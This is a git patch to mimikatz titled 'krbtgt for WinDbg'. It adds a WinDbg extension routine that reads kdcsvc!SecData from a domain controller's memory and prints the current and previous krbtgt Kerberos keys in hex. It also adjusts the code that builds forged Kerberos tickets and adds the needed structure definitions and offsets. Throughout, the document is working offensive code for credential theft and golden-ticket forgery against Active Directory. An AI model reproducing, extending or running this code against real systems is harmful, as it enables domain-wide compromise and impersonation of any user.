From 880b47218bc4f9953a98bb3b53c211f4fc8b0dd9 Mon Sep 17 00:00:00 2001 From: Benjamin DELPY Date: Thu, 2 Apr 2015 00:48:23 +0200 Subject: [PATCH] krbtgt for WinDbg --- .../modules/kerberos/kuhl_m_kerberos_ticket.c | 41 ++++++++-------- mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c | 8 ++-- .../sekurlsadbg/kuhl_m_sekurlsa_packages.h | 25 +++++++++- mimilib/sekurlsadbg/kwindbg.c | 48 ++++++++++++++++++- mimilib/sekurlsadbg/kwindbg.h | 7 +++ 5 files changed, 104 insertions(+), 25 deletions(-) diff --git a/mimikatz/modules/kerberos/kuhl_m_kerberos_ticket.c b/mimikatz/modules/kerberos/kuhl_m_kerberos_ticket.c index 63b1eaf..6bb654c 100644 --- a/mimikatz/modules/kerberos/kuhl_m_kerberos_ticket.c +++ b/mimikatz/modules/kerberos/kuhl_m_kerberos_ticket.c @@ -309,38 +309,41 @@ PDIRTY_ASN1_SEQUENCE_EASY kuhl_m_kerberos_ticket_createAppEncTicketPart(PKIWI_KE kull_m_asn1_append_ctx_and_data_to_seq(&Seq_EncTicketPart, ID_CTX_ENCTICKETPART_ENDTIME, kull_m_asn1_GenTime(&ticket->EndTime)); kull_m_asn1_append_ctx_and_data_to_seq(&Seq_EncTicketPart, ID_CTX_ENCTICKETPART_RENEW_TILL, kull_m_asn1_GenTime(&ticket->RenewUntil)); /* ID_CTX_ENCTICKETPART_CADDR not present */ - if(Ctx_EncTicketPart = KULL_M_ASN1_CREATE_CTX(ID_CTX_ENCTICKETPART_AUTHORIZATION_DATA)) + if(PacAuthData && PacAuthDataSize) { - if(Seq_1 = KULL_M_ASN1_CREATE_SEQ()) + if(Ctx_EncTicketPart = KULL_M_ASN1_CREATE_CTX(ID_CTX_ENCTICKETPART_AUTHORIZATION_DATA)) { - if(Seq_2 = KULL_M_ASN1_CREATE_SEQ()) + if(Seq_1 = KULL_M_ASN1_CREATE_SEQ()) { - integer1 = ID_AUTHDATA_AD_IF_RELEVANT; - kull_m_asn1_append_ctx_and_data_to_seq(&Seq_2, ID_CTX_AUTHORIZATIONDATA_AD_TYPE, kull_m_asn1_create(DIRTY_ASN1_ID_INTEGER, &integer1, sizeof(UCHAR), NULL)); - if(Ctx_Root = KULL_M_ASN1_CREATE_CTX(ID_CTX_AUTHORIZATIONDATA_AD_DATA)) + if(Seq_2 = KULL_M_ASN1_CREATE_SEQ()) { - if(OctetString = kull_m_asn1_create(DIRTY_ASN1_ID_OCTET_STRING, NULL, 0, NULL)) + integer1 = ID_AUTHDATA_AD_IF_RELEVANT; + kull_m_asn1_append_ctx_and_data_to_seq(&Seq_2, ID_CTX_AUTHORIZATIONDATA_AD_TYPE, kull_m_asn1_create(DIRTY_ASN1_ID_INTEGER, &integer1, sizeof(UCHAR), NULL)); + if(Ctx_Root = KULL_M_ASN1_CREATE_CTX(ID_CTX_AUTHORIZATIONDATA_AD_DATA)) { - if(Seq_3 = KULL_M_ASN1_CREATE_SEQ()) + if(OctetString = kull_m_asn1_create(DIRTY_ASN1_ID_OCTET_STRING, NULL, 0, NULL)) { - if(Seq_4 = KULL_M_ASN1_CREATE_SEQ()) + if(Seq_3 = KULL_M_ASN1_CREATE_SEQ()) { - integer2 = _byteswap_ushort(ID_AUTHDATA_AD_WIN2K_PAC); - kull_m_asn1_append_ctx_and_data_to_seq(&Seq_4, ID_AUTHDATA_AD_WIN2K_PAC, kull_m_asn1_create(DIRTY_ASN1_ID_INTEGER, &integer2, sizeof(USHORT), NULL)); - kull_m_asn1_append_ctx_and_data_to_seq(&Seq_4, ID_CTX_AUTHORIZATIONDATA_AD_DATA, kull_m_asn1_create(DIRTY_ASN1_ID_OCTET_STRING, PacAuthData, PacAuthDataSize, NULL)); - kull_m_asn1_append(&Seq_3, Seq_4); + if(Seq_4 = KULL_M_ASN1_CREATE_SEQ()) + { + integer2 = _byteswap_ushort(ID_AUTHDATA_AD_WIN2K_PAC); + kull_m_asn1_append_ctx_and_data_to_seq(&Seq_4, ID_AUTHDATA_AD_WIN2K_PAC, kull_m_asn1_create(DIRTY_ASN1_ID_INTEGER, &integer2, sizeof(USHORT), NULL)); + kull_m_asn1_append_ctx_and_data_to_seq(&Seq_4, ID_CTX_AUTHORIZATIONDATA_AD_DATA, kull_m_asn1_create(DIRTY_ASN1_ID_OCTET_STRING, PacAuthData, PacAuthDataSize, NULL)); + kull_m_asn1_append(&Seq_3, Seq_4); + } + kull_m_asn1_append(&OctetString, Seq_3); } - kull_m_asn1_append(&OctetString, Seq_3); + kull_m_asn1_append(&Ctx_Root, OctetString); } - kull_m_asn1_append(&Ctx_Root, OctetString); + kull_m_asn1_append(&Seq_2, Ctx_Root); } - kull_m_asn1_append(&Seq_2, Ctx_Root); + kull_m_asn1_append(&Seq_1, Seq_2); } - kull_m_asn1_append(&Seq_1, Seq_2); + kull_m_asn1_append(&Ctx_EncTicketPart, Seq_1); } - kull_m_asn1_append(&Ctx_EncTicketPart, Seq_1); + kull_m_asn1_append(&Seq_EncTicketPart, Ctx_EncTicketPart); } - kull_m_asn1_append(&Seq_EncTicketPart, Ctx_EncTicketPart); } kull_m_asn1_append(&App_EncTicketPart, Seq_EncTicketPart); } diff --git a/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c index b2a7d4d..74682f6 100644 --- a/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c +++ b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c @@ -469,15 +469,15 @@ void kuhl_m_sekurlsa_krbtgt_keys(PVOID addr, PCWSTR prefix) kprintf(L"%u credentials\n", creds5->cbCred); for(i = 0; i < creds5->cbCred; i++) { - kprintf(L"> %s - ", kuhl_m_kerberos_ticket_etype((LONG) creds5->credentials[i].type)); + kprintf(L"\t * %s : ", kuhl_m_kerberos_ticket_etype((LONG) creds5->credentials[i].type)); aLsass.address = creds5->credentials[i].key; if(aLocal.address = LocalAlloc(LPTR, (DWORD) creds5->credentials[i].size)) { if(kull_m_memory_copy(&aLocal, &aLsass, (DWORD) creds5->credentials[i].size)) kull_m_string_wprintf_hex(aLocal.address, (DWORD) creds5->credentials[i].size, 0); - kprintf(L"\n"); LocalFree(aLocal.address); } + kprintf(L"\n"); } } LocalFree(creds5); @@ -498,15 +498,15 @@ void kuhl_m_sekurlsa_krbtgt_keys(PVOID addr, PCWSTR prefix) kprintf(L"%u credentials\n", creds6->cbCred); for(i = 0; i < creds6->cbCred; i++) { - kprintf(L"> %s - ", kuhl_m_kerberos_ticket_etype((LONG) creds6->credentials[i].type)); + kprintf(L"\t * %s : ", kuhl_m_kerberos_ticket_etype((LONG) creds6->credentials[i].type)); aLsass.address = creds6->credentials[i].key; if(aLocal.address = LocalAlloc(LPTR, (DWORD) creds6->credentials[i].size)) { if(kull_m_memory_copy(&aLocal, &aLsass, (DWORD) creds6->credentials[i].size)) kull_m_string_wprintf_hex(aLocal.address, (DWORD) creds6->credentials[i].size, 0); - kprintf(L"\n"); LocalFree(aLocal.address); } + kprintf(L"\n"); } } LocalFree(creds6); diff --git a/mimilib/sekurlsadbg/kuhl_m_sekurlsa_packages.h b/mimilib/sekurlsadbg/kuhl_m_sekurlsa_packages.h index b0303b9..c40dfed 100644 --- a/mimilib/sekurlsadbg/kuhl_m_sekurlsa_packages.h +++ b/mimilib/sekurlsadbg/kuhl_m_sekurlsa_packages.h @@ -330,4 +330,27 @@ typedef struct _KIWI_CREDMAN_SET_LIST_ENTRY { PKIWI_CREDMAN_LIST_STARTER list1; PKIWI_CREDMAN_LIST_STARTER list2; // ... -} KIWI_CREDMAN_SET_LIST_ENTRY, *PKIWI_CREDMAN_SET_LIST_ENTRY; \ No newline at end of file +} KIWI_CREDMAN_SET_LIST_ENTRY, *PKIWI_CREDMAN_SET_LIST_ENTRY; + +typedef struct _KIWI_KRBTGT_CREDENTIAL_6 { + PVOID unk0; + PVOID unk1_key_salt; + PVOID flags; + PVOID type; + PVOID size; + PVOID key; +} KIWI_KRBTGT_CREDENTIAL_6, *PKIWI_KRBTGT_CREDENTIAL_6; + +typedef struct _KIWI_KRBTGT_CREDENTIALS_6 { + DWORD unk0_ver; + DWORD cbCred; + PVOID unk1; + LSA_UNICODE_STRING salt; + PVOID unk2; + KIWI_KRBTGT_CREDENTIAL_6 credentials[ANYSIZE_ARRAY]; +} KIWI_KRBTGT_CREDENTIALS_6, *PKIWI_KRBTGT_CREDENTIALS_6; + +typedef struct _DUAL_KRBTGT { + PVOID krbtgt_current; + PVOID krbtgt_previous; +} DUAL_KRBTGT, *PDUAL_KRBTGT; \ No newline at end of file diff --git a/mimilib/sekurlsadbg/kwindbg.c b/mimilib/sekurlsadbg/kwindbg.c index 47fc26a..1134452 100644 --- a/mimilib/sekurlsadbg/kwindbg.c +++ b/mimilib/sekurlsadbg/kwindbg.c @@ -82,12 +82,13 @@ const KUHL_M_SEKURLSA_ENUM_HELPER lsassEnumHelpers[] = { DECLARE_API(mimikatz) { - ULONG_PTR pInitializationVector = 0, phAesKey = 0, ph3DesKey = 0, pLogonSessionList = 0, pLogonSessionListCount = 0; + ULONG_PTR pInitializationVector = 0, phAesKey = 0, ph3DesKey = 0, pLogonSessionList = 0, pLogonSessionListCount = 0, pSecData = 0; PLIST_ENTRY LogonSessionList; ULONG LogonSessionListCount, i, j; KIWI_BASIC_SECURITY_LOGON_SESSION_DATA sessionData; const KUHL_M_SEKURLSA_ENUM_HELPER * helper; PBYTE buffer; + DUAL_KRBTGT dualKrbtgt = {NULL, NULL}; if(NtBuildNumber < KULL_M_WIN_MIN_BUILD_7) helper = &lsassEnumHelpers[0]; @@ -107,11 +108,21 @@ DECLARE_API(mimikatz) pLogonSessionList = GetExpression("lsasrv!LogonSessionList"); pLogonSessionListCount = GetExpression("lsasrv!LogonSessionListCount"); + pSecData = GetExpression("kdcsvc!SecData"); for(j = 0; j < ARRAYSIZE(packages); j++) if(packages[j].symbolName) packages[j].symbolPtr = GetExpression(packages[j].symbolName); + if(pSecData) + { + if(ReadMemory(pSecData + SECDATA_KRBTGT_OFFSET*sizeof(PVOID), &dualKrbtgt, 2*sizeof(PVOID), NULL)) + { + kuhl_m_sekurlsa_krbtgt_keys(dualKrbtgt.krbtgt_current, "Current"); + kuhl_m_sekurlsa_krbtgt_keys(dualKrbtgt.krbtgt_previous, "Previous"); + } + } + if(NT_SUCCESS(kuhl_m_sekurlsa_nt6_init())) { if(pInitializationVector && phAesKey && ph3DesKey) @@ -400,4 +411,39 @@ VOID kuhl_m_sekurlsa_genericKeyOutput(PMARSHALL_KEY key, PVOID * dirtyBase) } kull_m_string_dprintf_hex((PBYTE) *dirtyBase + sizeof(ULONG), key->length, 0); *dirtyBase = (PBYTE) *dirtyBase + sizeof(ULONG) + *(PULONG) *dirtyBase; +} + +void kuhl_m_sekurlsa_krbtgt_keys(PVOID addr, LPCSTR prefix) +{ + DWORD sizeForCreds, i; + KIWI_KRBTGT_CREDENTIALS_6 tmpCred6, *creds6; + PVOID buffer; + + if(addr) + { + dprintf("\n%s krbtgt: ", prefix); + if(ReadMemory((ULONG_PTR) addr, &tmpCred6, sizeof(KIWI_KRBTGT_CREDENTIALS_6) - sizeof(KIWI_KRBTGT_CREDENTIAL_6), NULL)) + { + sizeForCreds = sizeof(KIWI_KRBTGT_CREDENTIALS_6) + (tmpCred6.cbCred - 1) * sizeof(KIWI_KRBTGT_CREDENTIAL_6); + if(creds6 = (PKIWI_KRBTGT_CREDENTIALS_6) LocalAlloc(LPTR, sizeForCreds)) + { + if(ReadMemory((ULONG_PTR) addr, creds6, sizeForCreds, NULL)) + { + dprintf("%u credentials\n", creds6->cbCred); + for(i = 0; i < creds6->cbCred; i++) + { + dprintf("\t * %s : ", kuhl_m_kerberos_ticket_etype((LONG) creds6->credentials[i].type)); + if(buffer = LocalAlloc(LPTR, (DWORD) creds6->credentials[i].size)) + { + if(ReadMemory((ULONG_PTR) creds6->credentials[i].key, buffer, (DWORD) creds6->credentials[i].size, NULL)) + kull_m_string_dprintf_hex(buffer, (DWORD) creds6->credentials[i].size, 0); + LocalFree(buffer); + } + dprintf("\n"); + } + } + LocalFree(creds6); + } + } + } } \ No newline at end of file diff --git a/mimilib/sekurlsadbg/kwindbg.h b/mimilib/sekurlsadbg/kwindbg.h index cb73510..3e812e4 100644 --- a/mimilib/sekurlsadbg/kwindbg.h +++ b/mimilib/sekurlsadbg/kwindbg.h @@ -29,6 +29,12 @@ USHORT NtBuildNumber; #define KUHL_SEKURLSA_CREDS_DISPLAY_DOMAIN 0x40000000 #define KUHL_SEKURLSA_CREDS_DISPLAY_SSP 0x80000000 +#ifdef _M_X64 +#define SECDATA_KRBTGT_OFFSET 39 +#elif defined _M_IX86 +#define SECDATA_KRBTGT_OFFSET 47 +#endif + typedef void (CALLBACK * PKUHL_M_SEKURLSA_PACKAGE_CALLBACK) (IN ULONG_PTR pKerbGlobalLogonSessionTable, IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData); typedef struct _KUHL_M_SEKURLSA_PACKAGE { @@ -59,6 +65,7 @@ DECLARE_API(mimikatz); VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, PLUID luid, ULONG flags); VOID kuhl_m_sekurlsa_genericKeyOutput(struct _MARSHALL_KEY * key, PVOID * dirtyBase); +void kuhl_m_sekurlsa_krbtgt_keys(PVOID addr, LPCSTR prefix); #define KULL_M_WIN_BUILD_XP 2600 #define KULL_M_WIN_BUILD_2K3 3790